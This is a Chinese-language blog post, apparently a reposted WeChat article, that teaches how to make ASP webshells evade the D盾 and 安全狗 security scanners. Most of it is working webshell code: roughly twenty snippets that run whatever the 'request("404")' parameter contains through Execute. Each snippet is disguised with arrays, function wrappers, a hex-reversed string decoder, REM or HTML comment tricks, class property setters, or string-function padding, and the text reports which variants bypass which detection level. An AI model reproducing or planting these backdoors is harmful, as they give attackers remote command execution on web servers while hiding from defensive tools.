让asp的webshell也灵活起来
2019-07-01 16:17:56 Author: mp.weixin.qq.com(查看原文) 阅读量:57 收藏

现在asp不多但是还是有,还是写一篇文章来简单的介绍下asp的免杀吧,相对于php我们的asp还是不够灵活。

  1. 数组

  2. 函数

  3. 加密

  4. 注释符

  5. 字符串操作

ASP解释器还有:VBScript

ASP的注释符号 : ' 和 REM 当然如果你使用vbscript解释器 注释还有 <!-- -->和//

ASP的执行函数 : Eval 、 Execute 、ExecuteGlobal

利用数组来免杀,因为我们在php免杀中使用过数组,他的效果还不错,那么我们是否可以利用到asp来,当然答案是肯定的。

其中定义数组的方法有多种方式,我们才用最简单方式来看看。

  1. <%

  2. dim a(5)

  3. a(0)=request("404")

  4. eXecUTe(a(0))

  5. %>

简单的数组定义D盾就不认识了,为什么我会想到用数组来绕过,因为我发现函数调用的时候D盾不敏感,包括asp,php等。

当然你还可以这样用,加上一点循环语句。

  1. <%

  2. dim array(1)

  3. dim c

  4. array(1)=request("404")

  5. for each a in array

  6. c = a & ""

  7. next

  8. execute(c)

  9. %>

这个是那天D盾更新,无意间测试出来的,发现d盾对函数传入不是很敏感。

  1. <%

  2. Function b():

  3. b = request("404")

  4. End Function

  5. Function f():

  6. eXecUTe(b())

  7. End Function

  8. f()

  9. %>

网上随便找了一段加密算法 但是测试发现D盾爆了一级,参数未知。

  1. <%

  2. eXecUTe(gw_jiemi("920022008400D4002200820047003700560057001700560027000200C60016006700560077007600"))

  3. function gw_jiemi(text)

  4. const key="gw"

  5. dim str : str=text

  6. dim str1

  7. dim str2 : str2=strreverse(str)

  8. for i=1 to len(str2) step 4

  9. str1=str1 & ChrW(cint("&H" & mid(str2,i,4)))

  10. next

  11. gw_jiemi=mid(str1,len(key)+1,len(str)-len(key))

  12. end function

  13. %>

既然都提示我们参数的问题了,那么简单的干扰一下吧,连接个空字符。

  1. <%

  2. eXecUTe(gw_jiemi("920022008400D4002200820047003700560057001700560027000200C60016006700560077007600")&"")

  3. function gw_jiemi(text)

  4. const key="gw"

  5. dim str : str=text

  6. dim str1

  7. dim str2 : str2=strreverse(str)

  8. for i=1 to len(str2) step 4

  9. str1=str1 & ChrW(cint("&H" & mid(str2,i,4)))

  10. next

  11. gw_jiemi=mid(str1,len(key)+1,len(str)-len(key))

  12. end function

  13. %>

解密的算法是:

  1. function gw_jiami(text)

  2. const key="gw"

  3. dim str : str=key & text

  4. dim str1

  5. dim str2

  6. for i=1 to len(str)

  7. str2=hex(AscW(mid(str,i,1)))

  8. for j=1 to 4-len(str2)

  9. str2="0" & str2

  10. next

  11. str1=str1 & str2

  12. next

  13. gw_jiami=strreverse(str1)

  14. end function

通过一个简单的注释符绕过安全狗还是比较简单的。

  1. <%

  2. a = request("404")

  3. b = a REM a

  4. execute(b)

  5. %>

怎么绕过d盾了想了几分钟发现可以这样。

  1. <%

  2. <!--

  3. a = request("404")

  4. execute(a)

  5. -->

  6. %>

在php中我们使用类可以很轻松的绕过,但是asp使用类现在d盾看的很紧,首先写个最简单的类。

  1. <%

  2. Class is404

  3. Private Sub Class_Initialize

  4. execute request("404")

  5. End Sub

  6. End Class

  7. Set X = New is404

  8. %>

利用Class_Initialize 初始化就调用我们的函数,但是已经不行了,那么我们简单的变形一下。

  1. <%

  2. Class LandGrey

  3. private str_title

  4. public property let setauthor(str)

  5. execute str REM a

  6. end property

  7. End Class

  8. Set a= New LandGrey

  9. a.setauthor= request("404")

  10. %>

这个D盾爆出一级,提示未知参数str,怎么绕过呢,我们可以用函数的方式把他包裹起来 跟前面方案一样。

  1. <%

  2. Class LandGrey

  3. private str_title

  4. public property let setauthor(str)

  5. execute(str&"")

  6. end property

  7. End Class

  8. Set a= New LandGrey

  9. a.setauthor= request("404")

  10. %>

但是提示语句没结束语法问题,那就改改,用括号包裹起来调用,同时利用REM注释后面的内容,d盾就会识别括号里面有内容,从而绕过。

  1. <%

  2. Class LandGrey

  3. private str_title

  4. public property let setauthor(str)

  5. execute(str )REM a)

  6. end property

  7. End Class

  8. Set a= New LandGrey

  9. a.setauthor= request("404")

  10. %>

前面说过他提示的参数没 赋值 那么我们就定义一个局部变量来赋值吧。

  1. <%

  2. Class LandGrey

  3. private str

  4. Private Sub Class_Initialize

  5. str = ""

  6. End Sub

  7. public property let setauthor(str)

  8. execute(str)

  9. end property

  10. End Class

  11. Set a= New LandGrey

  12. a.setauthor= request("404")

  13. %>

前面php的webshell我们讲过,d盾是杀参数的,我们如何绕过的思路就是在传入参数这里做文章,先来一个简单的。

  1. <%

  2. a = request("404")

  3. b = Left(a,99999)

  4. execute(b)

  5. %>

D盾直接爆4级,我们再找个函数包裹一下我们的a字符串,UCase大小写转换。

  1. <%

  2. a = request("404")

  3. b = Left(UCase(a),99999)

  4. execute(b)

  5. %>

还是4级,那么我们在后面连接一个空格呢,那么他就能完美绕过。

  1. <%

  2. a = request("404")

  3. b = Left(UCase(a)&"",99999)

  4. execute(b)

  5. %>

虽然asp不是很灵活,但是通过探索还是能发现不少姿势,还是那句话多学多练,我们一起从0开始。



文章来源: https://mp.weixin.qq.com/s/1iNALp_FbH1EGTyi_C2Kog
如有侵权请联系:admin#unsafe.sh